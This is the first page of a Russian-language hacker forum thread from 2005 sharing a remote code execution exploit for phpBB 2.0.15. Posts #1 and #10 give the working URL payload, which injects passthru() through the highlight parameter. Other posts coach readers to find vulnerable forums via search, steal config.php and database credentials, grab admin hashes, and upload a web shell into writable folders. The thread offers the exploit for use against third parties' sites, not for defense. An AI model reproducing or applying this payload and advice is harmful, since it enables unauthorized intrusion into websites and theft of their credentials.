Форумы Эксплоит для phpbb 2.0.15

Discussion in 'Уязвимости CMS/форумов' started by KLez, 30 Jun 2005.

Page 1 of 3
  1. KLez

    KLez r00t

    Joined:
    17 May 2005
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    Вот вам сплоит . Ждите видео
    http://target/forum/viewtopic.php?t=243&cmd=ls&highlight='.passthru($HTTP_GET_VARS[cmd]).'
     
    #1 KLez, 30 Jun 2005
  2. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    нифига себе щас попробуем!))
     
    #2 m0nzt3r, 30 Jun 2005
  3. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    чето не работает сплойт((
     
    #3 m0nzt3r, 30 Jun 2005
  4. KLez

    KLez r00t

    Joined:
    17 May 2005
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    Сам ты не работаешь все пашет бери после viewtopic.php?t=243
     
    #4 KLez, 1 Jul 2005
  5. -artik-

    -artik- Banned

    Joined:
    13 Jun 2005
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    а у меня вот что отвечает - "Темы, которую вы запросили, не существует"....
    В чем моя ошибка?
     
    #5 -artik-, 1 Jul 2005
  6. coyl

    coyl Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    125
    Likes Received:
    3
    Reputations:
    2
    надо с запросе подставить t=номер существующей темы
     
    #6 coyl, 1 Jul 2005
  7. KLez

    KLez r00t

    Joined:
    17 May 2005
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    а вы что делайте разви почле него не сушествуюший темы не надо тыкать НАРОД сначала зайдите на тему . Бага на других версия не пашет я вчера проверил=((
     
    #7 KLez, 1 Jul 2005
  8. Manoz

    Manoz Elder - Старейшина

    Joined:
    15 Feb 2005
    Messages:
    37
    Likes Received:
    1
    Reputations:
    0
    #8 Manoz, 1 Jul 2005
  9. KLez

    KLez r00t

    Joined:
    17 May 2005
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    ХЗ братцы у меня тоже не на всех пашет сплоит
     
    #9 KLez, 1 Jul 2005
  10. Xalegi

    Xalegi Elder - Старейшина

    Joined:
    24 Nov 2004
    Messages:
    109
    Likes Received:
    4
    Reputations:
    6
    всё нормально работает, тока вот искать нужно бажный форум.. берёте и любой форум.. открываете топ, где ОДНО СООБЩЕНИЕ (тогда будет всего ОДНО повторение выполненяемой команды...) и вставляем после номера виевтопика:
    &highlight='.passthru($HTTP_GET_VARS[cmd]).'&cmd=id

    и работаем =))) кстати через поиск в яндексе есть несколько форумов бажных =)) исчите =)) (ЗЫ: всего-то там 4 страницы)...

    кстати.. 70% в 15-ой верссии внизу где powered номер версии форума не указывается.. а пишется 2002-2005 =)) нада искать =)
     
    #10 Xalegi, 1 Jul 2005
  11. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    Ну вот сломал. И что дальше. config.php украл. толку от него маловато... Подскажите... Как может хэш админа или БД скомуниздить?
     
    #11 vorishka, 1 Jul 2005
  12. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    а залить ремвиев не можешь??КЛез нееее я работаю)))
     
    #12 m0nzt3r, 1 Jul 2005
  13. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    #13 dinar_007, 2 Jul 2005
  14. tester2005

    tester2005 Elder - Старейшина

    Joined:
    17 Jan 2005
    Messages:
    38
    Likes Received:
    2
    Reputations:
    0
    #14 tester2005, 2 Jul 2005
  15. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    Ну а как его заливать? Какие нада права у папки? Я не нашел rwx-rwx-rwx.... Или может ещё какие нада права, что б выполнялся скрипт и я мог его залить... А то ничерта не могу...
     
    #15 vorishka, 2 Jul 2005
  16. temon

    temon Elder - Старейшина

    Joined:
    6 Feb 2005
    Messages:
    114
    Likes Received:
    4
    Reputations:
    0
    помогите пожалуйчста, вот я вставил как надо, прокатило вроде, мне выдался списовк файлов и больше ничего, конфига нету, паролей к базе данных всмысле.
     
    #16 temon, 2 Jul 2005
  17. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    temon ты эта: config.php открой посмотри в HTML коде =))) Прокатит...
    Повторяю свой вопрс: Какие нада права у папки? Я не нашел rwx-rwx-rwx.... Или может ещё какие нада права, что б выполнялся скрипт и я мог его залить... А то ничерта не могу...
     
    #17 vorishka, 2 Jul 2005
  18. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    про права я не помню эти буковки))попробуй в images или tmp, да и вобще дай ссылку....динар по этой ссылке говорит что нету такой темы..
     
    #18 m0nzt3r, 2 Jul 2005
  19. k00mar.bzz[SnK]

    k00mar.bzz[SnK] New Member

    Joined:
    5 Mar 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Прописал я сплойт и сообщение которое было в это теме пменялось на:
    больше не чего не произошло :(
    Мож я что делаю не так ?
     
    #19 k00mar.bzz[SnK], 3 Jul 2005
  20. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    Плчему никто видео не снимет?
     
    #20 bul666, 3 Jul 2005
(You must log in or sign up to post here.)
Page 1 of 3
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.